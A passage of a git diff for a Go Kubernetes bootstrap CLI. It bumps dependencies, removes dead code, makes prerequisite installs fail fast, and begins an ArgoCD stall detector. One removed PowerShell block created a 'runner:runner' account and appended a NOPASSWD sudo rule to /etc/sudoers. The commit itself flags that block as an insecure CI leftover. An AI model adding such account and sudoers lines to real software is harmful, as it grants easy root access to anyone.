h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw= -golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210615171337-6886f2dfbf5b/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.44.0 h1:0rLvDRCtNj0gZkyIXhCyOb2OAzEhLVqc4B+hrsBhrmc= -golang.org/x/term v0.44.0/go.mod h1:7ze4MdzUzLXpSAoFP1H0bOI9aXDqveSvatT5vKcFh2Y= +golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= +golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.38.0 h1:sXmwo9DwP3OK9EZ7PqAdaooSGozfl/3a6/xJcbzPRhE= -golang.org/x/text v0.38.0/go.mod h1:YXZt3QhHUKYT53r2lLKFIVi6Ao1jdzrTR/KQ09qyxF4= +golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= +golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -560,16 +528,15 @@ google.golang.org/api v0.283.0 h1:0lkp8u0MPwJVHqRL+nJlMAoZVVzbmiXmFHXMOTmSPik= google.golang.org/api v0.283.0/go.mod h1:6Wssta4c5n9qHq5CBhmlai5h/PUa1djdDAIhYEHyvcM= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7 h1:XzmzkmB14QhVhgnawEVsOn6OFsnpyxNPRY9QV01dNB0= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:L43LFes82YgSonw6iTXTxXUX1OlULt4AQtkik4ULL/I= -google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa h1:Kjn0N0tCrDgiAFW+lGO4JZ3ck44CehvJQMAwj9QF0G8= -google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:q4lMZS6kskjT5HvCPrnnypcDPVJqT/f4nfxmkE7gryY= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68 h1:PvEgGJf9C/1u5CHkInMg7UFYYUoiaQmW2LbtH0pjB78= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260523011958-0a33c5d7ca68/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/genproto/googleapis/api v0.0.0-20260706201446-f0a921348800 h1:admdQBe8jR3VWhBsUrAOaF2Qw6K/+p5pSm1GN8+6Fw4= +google.golang.org/genproto/googleapis/api v0.0.0-20260706201446-f0a921348800/go.mod h1:FPk7EXUKMtImne7AmknoYjT4QXqKIzzRbeQIXzLk6fQ= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260706201446-f0a921348800 h1:qEHAMpSaUhtD0p3NbEEI83HwNGFxEwaSJ1G9PLnCBZE= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260706201446-f0a921348800/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= google.golang.org/grpc v1.82.0 h1:vguDnZUPjE26w09A63VoxZPnvPjB5Riyc0mkXPFmAIU= google.golang.org/grpc v1.82.0/go.mod h1:yzTZ1TB1Z3SG+LIYaI+WiE8D5+PZ3ArnrSp8zF3+/ZA= google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af h1:+5/Sw3GsDNlEmu7TfklWKPdQ0Ykja5VEmq2i817+jbI= google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= @@ -579,16 +546,13 @@ gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= -gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -howett.net/plist v0.0.0-20181124034731-591f970eefbb h1:jhnBjNi9UFpfpl8YZhA9CrOqpnJdvzuiHsl/dnxl11M= -howett.net/plist v0.0.0-20181124034731-591f970eefbb/go.mod h1:vMygbs4qMhSZSc4lCUl2OEE+rDiIIJAIdR4m7MiMcm0= +howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM= +howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= k8s.io/api v0.36.2 h1:TF6YDLIzKfccK7cq9YpTcGX8TJmEkHVRv78DM51fRYY= k8s.io/api v0.36.2/go.mod h1:F4LbMO4brjZYh7yFkXWhynSvtB7YauxV4c+HHkNRGNg= k8s.io/apiextensions-apiserver v0.36.2 h1:3O5gqOj/dt2XWWbpMe+TXWpE9yU6pjM/tXxtHHJT/K4= @@ -599,16 +563,16 @@ k8s.io/client-go v0.36.2 h1:bfgxmFKc9CgqsgX4xKLAAdmTQlWee7Ob/HlDOrJ5TBI= k8s.io/client-go v0.36.2/go.mod h1:1vgO4OAlfPnoLcb+Rze2GF5rAr14w8qjrYMoyXJzQj0= k8s.io/klog/v2 v2.140.0 h1:Tf+J3AH7xnUzZyVVXhTgGhEKnFqye14aadWv7bzXdzc= k8s.io/klog/v2 v2.140.0/go.mod h1:o+/RWfJ6PwpnFn7OyAG3QnO47BFsymfEfrz6XyYSSp0= -k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a h1:xCeOEAOoGYl2jnJoHkC3hkbPJgdATINPMAxaynU2Ovg= -k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= -k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2 h1:AZYQSJemyQB5eRxqcPky+/7EdBj0xi3g0ZcxxJ7vbWU= -k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk= +k8s.io/kube-openapi v0.0.0-20260706235625-cdb1db5517a0 h1:CVjOUCTXINUThEmDs25FNSna0+vnGSoTleN+wiJu6hE= +k8s.io/kube-openapi v0.0.0-20260706235625-cdb1db5517a0/go.mod h1:rcZ+P5cEvHQB+m154WBOatIGBgOEPjzmLkXjkHfg3ms= +k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3 h1:jVkFFVfXdXP74B/zbO3hM3hpSFD0xvhQ5U686DPurkE= +k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3/go.mod h1:M2s5JB1lIYP3jzZdorPLHXIPJzt9vv2muW5a6L9DtNM= sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg= sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg= sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU= sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY= -sigs.k8s.io/structured-merge-diff/v6 v6.3.2 h1:kwVWMx5yS1CrnFWA/2QHyRVJ8jM6dBA80uLmm0wJkk8= -sigs.k8s.io/structured-merge-diff/v6 v6.3.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= +sigs.k8s.io/structured-merge-diff/v6 v6.4.2 h1:qdOxHwrl2Kaag1aQEarlYcOA9vSyGCp3CIki3aW8c4Q= +sigs.k8s.io/structured-merge-diff/v6 v6.4.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k= diff --git a/internal/bootstrap/service.go b/internal/bootstrap/service.go index 753b7001..f352fe8e 100644 --- a/internal/bootstrap/service.go +++ b/internal/bootstrap/service.go @@ -3,8 +3,6 @@ package bootstrap import ( "context" "fmt" - "os/exec" - "runtime" "strings" chartmodels "github.com/flamingo-stack/openframe-cli/internal/chart/models" @@ -13,6 +11,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/cluster" sharedErrors "github.com/flamingo-stack/openframe-cli/internal/shared/errors" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/pterm/pterm" "github.com/spf13/cobra" "k8s.io/client-go/rest" ) @@ -60,15 +59,16 @@ func (s *Service) Execute(cmd *cobra.Command, args []string) error { return nil } -// bootstrap executes cluster create followed by chart install +// bootstrap executes cluster create followed by chart install. +// +// There is no Windows-specific WSL bootstrapping here: on Windows the root +// command forwards the whole CLI into WSL before any command runs (see +// wsllauncher), so this code only ever executes as a Linux process. The old +// initializeWSL PowerShell step was an unreachable, conflicting second WSL +// strategy — it hardcoded the "Ubuntu" distro (the launcher is distro-agnostic +// via OPENFRAME_WSL_DISTRO) and created a `runner:runner` account with +// NOPASSWD sudo, a CI artifact that had no business in a released binary. func (s *Service) bootstrap(ctx context.Context, clusterName string, nonInteractive, verbose bool) error { - // On Windows, initialize WSL2 first before anything else - if runtime.GOOS == "windows" { - if err := s.initializeWSL(verbose); err != nil { - return fmt.Errorf("failed to initialize WSL: %w", err) - } - } - // Normalize cluster name (use default if empty) actualClusterName := clusterName if actualClusterName == "" { @@ -81,9 +81,11 @@ func (s *Service) bootstrap(ctx context.Context, clusterName string, nonInteract return fmt.Errorf("failed to create cluster: %w", err) } - // Add spacing between commands - fmt.Println() - fmt.Println() + // Add spacing between commands. DefaultBasicText, not raw fmt: --silent + // redirects it — these two raw Printlns were the "three blank lines" the + // 0.4.7 verification report found in an otherwise silent bootstrap log. + pterm.DefaultBasicText.Println() + pterm.DefaultBasicText.Println() // Step 2: Install charts on the created cluster if err := s.installChart(ctx, actualClusterName, nonInteractive, verbose, kubeConfig); err != nil { @@ -118,66 +120,3 @@ func (s *Service) installChart(ctx context.Context, clusterName string, nonInter }) } -// initializeWSL initializes WSL2 with Ubuntu and configures the runner user -// This must run before any tools installation or cluster creation on Windows -func (s *Service) initializeWSL(verbose bool) error { - fmt.Println("Initializing WSL2 with Ubuntu...") - - // PowerShell script to initialize WSL2 - script := ` -$ErrorActionPreference = 'Continue' - -# Install WSL2 with Ubuntu -echo Y | wsl --install -d Ubuntu --no-launch -Start-Sleep -Seconds 20 -wsl --set-default-version 2 -wsl --list --verbose -if ($LASTEXITCODE -ne 0) { exit 1 } - -# Initialize Ubuntu with retries -$maxRetries = 5 -$retryDelay = 10 -for ($i = 1; $i -le $maxRetries; $i++) { - wsl -d Ubuntu -u root bash -c "echo 'init'" 2>&1 | Out-Null - if ($LASTEXITCODE -eq 0) { break } - Start-Sleep -Seconds $retryDelay - $retryDelay += 5 -} -if ($LASTEXITCODE -ne 0) { - Write-Host "Failed to initialize Ubuntu" - exit 1 -} -Start-Sleep -Seconds 10 - -# Create runner user with sudo access -wsl -d Ubuntu -u root bash -c "id runner 2>/dev/null || (useradd -m -s /bin/bash runner && echo 'runner:runner' | chpasswd && usermod -aG sudo runner)" -if ($LASTEXITCODE -ne 0) { exit 1 } - -wsl -d Ubuntu -u root bash -c "grep -q '%sudo ALL=(ALL) NOPASSWD:ALL' /etc/sudoers || echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -wsl -d Ubuntu -u runner bash -c "whoami" | Out-Null -if ($LASTEXITCODE -ne 0) { exit 1 } - -Write-Host "WSL2 configured successfully" -` - - cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", script) - if verbose { - cmd.Stdout = nil // Will use default (os.Stdout) - cmd.Stderr = nil // Will use default (os.Stderr) - } - - output, err := cmd.CombinedOutput() - if verbose { - fmt.Println(string(output)) - } - - if err != nil { - if verbose { - fmt.Printf("WSL initialization output: %s\n", string(output)) - } - return fmt.Errorf("WSL initialization failed: %w", err) - } - - fmt.Println("✓ WSL2 initialized successfully") - return nil -} diff --git a/internal/chart/prerequisites/certificates/certificates.go b/internal/chart/prerequisites/certificates/certificates.go index d4f4a64d..1292fb49 100644 --- a/internal/chart/prerequisites/certificates/certificates.go +++ b/internal/chart/prerequisites/certificates/certificates.go @@ -31,22 +31,6 @@ func isMkcertInstalled() bool { return commandExists("mkcert") } -func areCertificatesGenerated() bool { - homeDir, err := os.UserHomeDir() - if err != nil { - return false - } - - certDir := filepath.Join(homeDir, ".config", "openframe", "certs") - certFile := filepath.Join(certDir, "localhost.pem") - keyFile := filepath.Join(certDir, "localhost-key.pem") - - _, certErr := os.Stat(certFile) - _, keyErr := os.Stat(keyFile) - - return certErr == nil && keyErr == nil -} - func certificateInstallHelp() string { return platform.InstallHint("certificates") } diff --git a/internal/chart/prerequisites/certificates/certificates_test.go b/internal/chart/prerequisites/certificates/certificates_test.go index 5106e17b..98662585 100644 --- a/internal/chart/prerequisites/certificates/certificates_test.go +++ b/internal/chart/prerequisites/certificates/certificates_test.go @@ -63,15 +63,6 @@ func TestCertificateInstaller_Install(t *testing.T) { // Integration tests should cover full installation flow } -func TestAreCertificatesGenerated(t *testing.T) { - // Test the certificate detection logic - generated := areCertificatesGenerated() - - // This will likely be false in test environment, which is expected - // We're just testing that the function doesn't crash - _ = generated -} - func TestIsMkcertInstalled(t *testing.T) { // Test mkcert detection installed := isMkcertInstalled() diff --git a/internal/chart/prerequisites/checker.go b/internal/chart/prerequisites/checker.go index fb136cba..ff9899ee 100644 --- a/internal/chart/prerequisites/checker.go +++ b/internal/chart/prerequisites/checker.go @@ -1,12 +1,9 @@ package prerequisites import ( - "strings" - "github.com/flamingo-stack/openframe-cli/internal/chart/prerequisites/certificates" "github.com/flamingo-stack/openframe-cli/internal/chart/prerequisites/helm" "github.com/flamingo-stack/openframe-cli/internal/chart/prerequisites/memory" - "github.com/flamingo-stack/openframe-cli/internal/shared/ui" ) type PrerequisiteChecker struct { @@ -58,25 +55,3 @@ func (pc *PrerequisiteChecker) CheckAll() (bool, []string) { return allPresent, missing } - -func (pc *PrerequisiteChecker) GetInstallInstructions(missingTools []string) []string { - var instructions []string - - for _, tool := range missingTools { - for _, req := range pc.requirements { - if strings.EqualFold(req.Name, tool) { - instructions = append(instructions, req.InstallHelp()) - break - } - } - } - - return instructions -} - -func CheckPrerequisites() error { - // A CI environment or a non-terminal stdin must not hit an interactive prompt - // (this gate previously always called the interactive CheckAndInstall, which - // hung CI waiting for a Y/N to install tools or start Docker). - return NewInstaller().CheckAndInstallNonInteractive(ui.IsNonInteractive()) -} diff --git a/internal/chart/prerequisites/checker_test.go b/internal/chart/prerequisites/checker_test.go index f792c003..3685f0e9 100644 --- a/internal/chart/prerequisites/checker_test.go +++ b/internal/chart/prerequisites/checker_test.go @@ -90,19 +90,3 @@ func TestCheckAllWithAllTools(t *testing.T) { t.Errorf("Expected no missing tools, got %d: %v", len(missing), missing) } } - -func TestGetInstallInstructions(t *testing.T) { - checker := NewPrerequisiteChecker() - missing := []string{"Helm", "Memory"} - - instructions := checker.GetInstallInstructions(missing) - - if len(instructions) != 2 { - t.Errorf("Expected 2 instructions, got %d", len(instructions)) - } - for _, instruction := range instructions { - if instruction == "" { - t.Error("Instruction should not be empty") - } - } -} diff --git a/internal/chart/prerequisites/installer.go b/internal/chart/prerequisites/installer.go index a7e418a0..d790547a 100644 --- a/internal/chart/prerequisites/installer.go +++ b/internal/chart/prerequisites/installer.go @@ -2,7 +2,6 @@ package prerequisites import ( "fmt" - "os/exec" "strings" "github.com/flamingo-stack/openframe-cli/internal/chart/prerequisites/certificates" @@ -24,20 +23,6 @@ func NewInstaller() *Installer { } } -func (i *Installer) InstallMissingPrerequisites() error { - allPresent, missing := i.checker.CheckAll() - if allPresent { - pterm.Success.Println("All prerequisites are already installed.") - return nil - } - - return i.installMissingTools(missing) -} - -func (i *Installer) installMissingTools(tools []string) error { - return i.installMissingToolsNonInteractive(tools, false) -} - // installMissingToolsNonInteractive installs missing tools with optional non-interactive mode func (i *Installer) installMissingToolsNonInteractive(tools []string, nonInteractive bool) error { if len(tools) == 0 { @@ -97,12 +82,9 @@ func (i *Installer) installMissingToolsNonInteractive(tools []string, nonInterac } if len(stillMissingInstallable) > 0 { - // In non-interactive mode, just warn and continue - if nonInteractive { - pterm.Warning.Printf("Some tools are still missing: %s\n", strings.Join(stillMissingInstallable, ", ")) - pterm.Info.Println("Continuing with available tools (non-interactive mode)...") - return nil - } + // Fail fast in BOTH modes: "continuing with available tools" just moved + // the failure into the helm install minutes later with a misleading + // error, which is worse in CI, not better. pterm.Warning.Printf("Some tools are still missing: %s\n", strings.Join(stillMissingInstallable, ", ")) return fmt.Errorf("installation completed but some tools are still missing: %s", strings.Join(stillMissingInstallable, ", ")) } @@ -117,10 +99,6 @@ func (i *Installer) installMissingToolsNonInteractive(tools []string, nonInterac return nil } -func (i *Installer) installTool(tool string) error { - return i.installToolNonInteractive(tool, false) -} - // installToolNonInteractive installs a single tool with optional non-interactive mode func (i *Installer) installToolNonInteractive(tool string, nonInteractive bool) error { switch strings.ToLower(tool) { @@ -140,24 +118,6 @@ func (i *Installer) installToolNonInteractive(tool string, nonInteractive bool) } } -func (i *Installer) runCommand(name string, args ...string) error { - // Handle shell commands with pipes - if strings.Contains(strings.Join(args, " "), "|") { - fullCmd := name + " " + strings.Join(args, " ") - cmd := exec.Command("bash", "-c", fullCmd) // #nosec G204 -- shell string built from constant/program-derived values, not untrusted input - // Completely silence output during installation - return cmd.Run() - } - - cmd := exec.Command(name, args...) // #nosec G204 -- explicit argv, no shell; command and args are internal, not untrusted input - // Completely silence output during installation - return cmd.Run() -} - -func (i *Installer) CheckAndInstall() error { - return i.CheckAndInstallNonInteractive(false) -} - // CheckAndInstallNonInteractive checks and installs prerequisites with optional non-interactive mode func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { _, missing := i.checker.CheckAll() @@ -168,7 +128,7 @@ func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { // Show memory warning if insufficient (but don't block) if !sufficient { - pterm.Warning.Printf("⚠️ Memory Warning: %d MB available, %d MB recommended\n", current, recommended) + pterm.Warning.Printfln("Insufficient memory: %d MB available, %d MB recommended", current, recommended) pterm.Info.Println("Charts may not deploy successfully with insufficient memory. Consider adding more RAM.") fmt.Println() } @@ -201,12 +161,9 @@ func (i *Installer) CheckAndInstallNonInteractive(nonInteractive bool) error { if confirmed { if err := i.installMissingToolsNonInteractive(installableMissing, nonInteractive); err != nil { - // In non-interactive mode, log error but continue - if nonInteractive { - pterm.Warning.Printf("Failed to install some prerequisites: %v\n", err) - pterm.Info.Println("Continuing anyway (non-interactive mode)...") - return nil - } + // Fail fast in BOTH modes: the old non-interactive "continuing + // anyway" deferred the failure to a guaranteed helm error with + // the real cause buried in a scrolled-past warning. return err } } else { diff --git a/internal/chart/prerequisites/installer_test.go b/internal/chart/prerequisites/installer_test.go index 5ae8b5ec..f4d24354 100644 --- a/internal/chart/prerequisites/installer_test.go +++ b/internal/chart/prerequisites/installer_test.go @@ -15,55 +15,3 @@ func TestNewInstaller(t *testing.T) { t.Error("Expected installer to have a checker") } } - -func TestInstallTool(t *testing.T) { - installer := NewInstaller() - - // Test memory tool (should always fail) - err := installer.installTool("memory") - if err == nil { - t.Error("Expected error for memory tool") - } - - expectedError := "memory cannot be automatically increased" - if !containsSubstring(err.Error(), expectedError) { - t.Errorf("Expected error containing '%s', got '%s'", expectedError, err.Error()) - } - - // Test unknown tool - err = installer.installTool("unknown-tool") - if err == nil { - t.Error("Expected error for unknown tool") - } - - expectedError = "unknown tool: unknown-tool" - if err.Error() != expectedError { - t.Errorf("Expected error '%s', got '%s'", expectedError, err.Error()) - } - - // Note: We skip testing actual installation of git/helm/certificates - // as these would be slow and unreliable in test environments -} - -func TestRunCommand(t *testing.T) { - installer := NewInstaller() - - // Test simple command that should work on all systems - err := installer.runCommand("echo", "test") - if err != nil { - t.Errorf("Expected echo command to succeed, got error: %v", err) - } -} - -// Helper function to check if a string contains a substring -func containsSubstring(str, substr string) bool { - return len(str) >= len(substr) && - func() bool { - for i := 0; i <= len(str)-len(substr); i++ { - if str[i:i+len(substr)] == substr { - return true - } - } - return false - }() -} diff --git a/internal/chart/prerequisites/memory/memory.go b/internal/chart/prerequisites/memory/memory.go index 89b8c3aa..019d9129 100644 --- a/internal/chart/prerequisites/memory/memory.go +++ b/internal/chart/prerequisites/memory/memory.go @@ -24,10 +24,6 @@ func (m *MemoryChecker) GetInstallHelp() string { return fmt.Sprintf("Memory: %d MB available, %d MB recommended. Consider adding more RAM or increasing virtual memory", currentMemory, RecommendedMemoryMB) } -func (m *MemoryChecker) Install() error { - return fmt.Errorf("memory cannot be automatically installed. Please add more physical RAM or increase virtual memory allocation") -} - func (m *MemoryChecker) HasSufficientMemory() bool { totalMemory := m.getTotalMemoryMB() return totalMemory >= RecommendedMemoryMB diff --git a/internal/chart/prerequisites/memory/memory_test.go b/internal/chart/prerequisites/memory/memory_test.go index 990753e1..fa63e88d 100644 --- a/internal/chart/prerequisites/memory/memory_test.go +++ b/internal/chart/prerequisites/memory/memory_test.go @@ -48,21 +48,6 @@ func TestMemoryChecker_GetInstallHelp(t *testing.T) { } } -func TestMemoryChecker_Install(t *testing.T) { - checker := NewMemoryChecker() - - // Memory cannot be automatically installed - err := checker.Install() - if err == nil { - t.Error("Expected error when trying to install memory") - } - - expectedSubstring := "cannot be automatically installed" - if !containsSubstring(err.Error(), expectedSubstring) { - t.Errorf("Expected error containing '%s', got: %v", expectedSubstring, err) - } -} - func TestGetTotalMemoryMB(t *testing.T) { checker := NewMemoryChecker() mem := checker.getTotalMemoryMB() diff --git a/internal/chart/providers/argocd/assess.go b/internal/chart/providers/argocd/assess.go index ed3041fb..c2f6b4a5 100644 --- a/internal/chart/providers/argocd/assess.go +++ b/internal/chart/providers/argocd/assess.go @@ -7,9 +7,10 @@ import ( // appAssessment summarizes one polling tick over the ArgoCD applications. type appAssessment struct { - ready int // currently Healthy AND Synced - healthyNames []string // names of currently-Healthy apps - notReady []string // "name (status)" labels for apps not yet ready + ready int // currently Healthy AND Synced + healthyNames []string // names of currently-Healthy apps + notReady []string // "name (status)" labels for apps not yet ready (display) + notReadyNames []string // bare names of apps not yet ready (for kubectl commands) } // assessApplications classifies the applications for one polling tick and @@ -38,6 +39,7 @@ func assessApplications(apps []Application, everReady map[string]bool) appAssess status = fmt.Sprintf("Sync: %s", app.Sync) } a.notReady = append(a.notReady, fmt.Sprintf("%s (%s)", app.Name, status)) + a.notReadyNames = append(a.notReadyNames, app.Name) } return a } diff --git a/internal/chart/providers/argocd/constants.go b/internal/chart/providers/argocd/constants.go index 9061fead..0c721949 100644 --- a/internal/chart/providers/argocd/constants.go +++ b/internal/chart/providers/argocd/constants.go @@ -10,7 +10,7 @@ const ( ArgoCDNamespace = "argocd" ArgoCDReleaseName = "argo-cd" ArgoCDChartRef = "argo/argo-cd" - ArgoCDChartVersion = "10.1.1" + ArgoCDChartVersion = "10.1.3" ArgoHelmRepoURL = "https://argoproj.github.io/argo-helm" ) diff --git a/internal/chart/providers/argocd/stall.go b/internal/chart/providers/argocd/stall.go new file mode 100644 index 00000000..955bd178 --- /dev/null +++ b/internal/chart/providers/argocd/stall.go @@ -0,0 +1,49 @@ +package argocd + +import ( + "fmt" + "sort" + "strings" + "time" +) + +// Stall handling for WaitForApplications (0.4.7 verification finding N3): +// after a ref change, children with autoSync disabled settle into a persistent +// OutOfSync state that the wait would previously ride out to its full timeout +// (11+ minutes of identical "Still waiting for: [mongodb ...]" lines) with no +// hint that nothing was ever going to change. +// +// The wait loop keeps a fingerprint of the observable state; when it has not +// changed for stallAfter and OutOfSync stragglers remain, it either triggers a +// sync on exactly those stragglers (upgrade path, SyncStragglersOnStall) or +// prints an actionable hint once (install path). + +// stallAfter is how long the application set may stay bit-for-bit identical +// before the wait considers itself stalled. Long enough that a slow-but-live +// rollout (images pulling, probes settling) keeps resetting it via status +// transitions; short enough to leave time to act within the wait budget. +const stallAfter = 90 * time.Second + +// stallFingerprint captures the observable wait state: ready count plus the +// sorted not-ready list (names with their status strings). Any transition — +// an app appearing, progressing, or changing status — changes the fingerprint. +func stallFingerprint(ready int, notReady 